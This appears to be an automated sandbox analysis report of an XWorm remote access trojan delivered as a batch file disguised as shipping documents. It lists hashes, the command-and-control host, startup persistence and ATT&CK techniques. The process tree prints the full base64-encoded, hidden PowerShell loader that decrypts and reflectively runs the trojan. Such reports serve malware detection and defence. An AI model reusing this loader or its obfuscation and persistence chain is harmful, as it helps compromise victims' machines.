xworm | fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b

General

Target

Shipping_Documents.pdf_.bat
Size

64KB
MD5

eac68a6120674bd90a20752d09d126e8
SHA1

9f73c48c6a5d177b67ca3f984caca601d6540427
SHA256

fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b
SHA512

f3240d2ecf309a5b1db1566b9fbff5ee7c946a26ff441327cbebb0ce1f3089e0a02934c14f164d59e934c585132413af38e4b6b389577eb61e1e7f590cb23248
SSDEEP

1536:vOYBZkbmEKUgXEXzICKUnF85J6ygoASfj3Hlbjeq5d6d01jK:vZQHfe5J6JQbn5dl1jK

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

RzkxMatWHp9NDD4H

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4804-21-0x000001E27C2A0000-0x000001E27C2B0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4804	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_903be4c8.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_903be4c8.cmd	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1852	cmd.exe
3024	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4804	powershell.exe
4804	powershell.exe
4804	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4804	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4804	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 3024	1852	cmd.exe	87
PID 1852 wrote to memory of 3024	1852	cmd.exe	87
PID 3024 wrote to memory of 4804	3024	cmd.exe	90
PID 3024 wrote to memory of 4804	3024	cmd.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.bat"
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskaWlwYnogPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGlpcGJ6KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRpaXBieiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRpaXBieiwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkaWlwYnoiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gamVsbHcoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0p1SS9EbVJrME9lUGxDcGlRWlZ2eHJCUGRLbEhpWnM2RkhUekRnNHpXNG89Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3crTmVxU0RTaWFmMzF3NWZaRzVuQUE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmFhY2soJHBhcmFtX3Zhcil7CSRubmh0aj1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkYXdvcW49TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbW9wcWU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbm5odGosIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG1vcHFlLkNvcHlUbygkYXdvcW4pOwkkbW9wcWUuRGlzcG9zZSgpOwkkbm5odGouRGlzcG9zZSgpOwkkYXdvcW4uRGlzcG9zZSgpOwkkYXdvcW4uVG9BcnJheSgpO31mdW5jdGlvbiBkaXpzZigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHNpamVvPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHB2aW53PSRzaWplby5FbnRyeVBvaW50OwkkcHZpbncuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGlpcGJ6OyRhdGlwbD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGlpcGJ6KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemtzIGluICRhdGlwbCkgewlpZiAoJHprcy5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGVidXp1PSR6a3MuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHFzbWF2PVtzdHJpbmdbXV0kZWJ1enUuU3BsaXQoJ1wnKTska2xjcGs9YmFhY2sgKGplbGx3IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHFzbWF2WzBdKSkpOyRxZ21xZj1iYWFjayAoamVsbHcgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcXNtYXZbMV0pKSk7ZGl6c2YgJGtsY3BrICRudWxsO2RpenNmICRxZ21xZiAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f0ifsnhp.2jb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
eac68a6120674bd90a20752d09d126e8

SHA1
9f73c48c6a5d177b67ca3f984caca601d6540427

SHA256
fbb07a7f02f9957564b487f7a893751f3059ae53dbcd0bdf5f176ca7be69096b

SHA512
f3240d2ecf309a5b1db1566b9fbff5ee7c946a26ff441327cbebb0ce1f3089e0a02934c14f164d59e934c585132413af38e4b6b389577eb61e1e7f590cb23248

Download Submit
memory/4804-16-0x00007FFD9E2E0000-0x00007FFD9EDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4804-13-0x00007FFD9E2E0000-0x00007FFD9EDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4804-14-0x00007FFD9E2E0000-0x00007FFD9EDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4804-4-0x000001E27BF80000-0x000001E27BFA2000-memory.dmp

Filesize
136KB

Download
memory/4804-2-0x00007FFD9E2E3000-0x00007FFD9E2E5000-memory.dmp

Filesize
8KB

Download
memory/4804-17-0x00007FFD9E2E0000-0x00007FFD9EDA1000-memory.dmp

Filesize
10.8MB

Download
memory/4804-18-0x000001E27C260000-0x000001E27C268000-memory.dmp

Filesize
32KB

Download
memory/4804-19-0x000001E27C270000-0x000001E27C27E000-memory.dmp

Filesize
56KB

Download
memory/4804-21-0x000001E27C2A0000-0x000001E27C2B0000-memory.dmp

Filesize
64KB

Download
memory/4804-22-0x00007FFD9E2E3000-0x00007FFD9E2E5000-memory.dmp

Filesize
8KB

Download
memory/4804-23-0x00007FFD9E2E0000-0x00007FFD9EDA1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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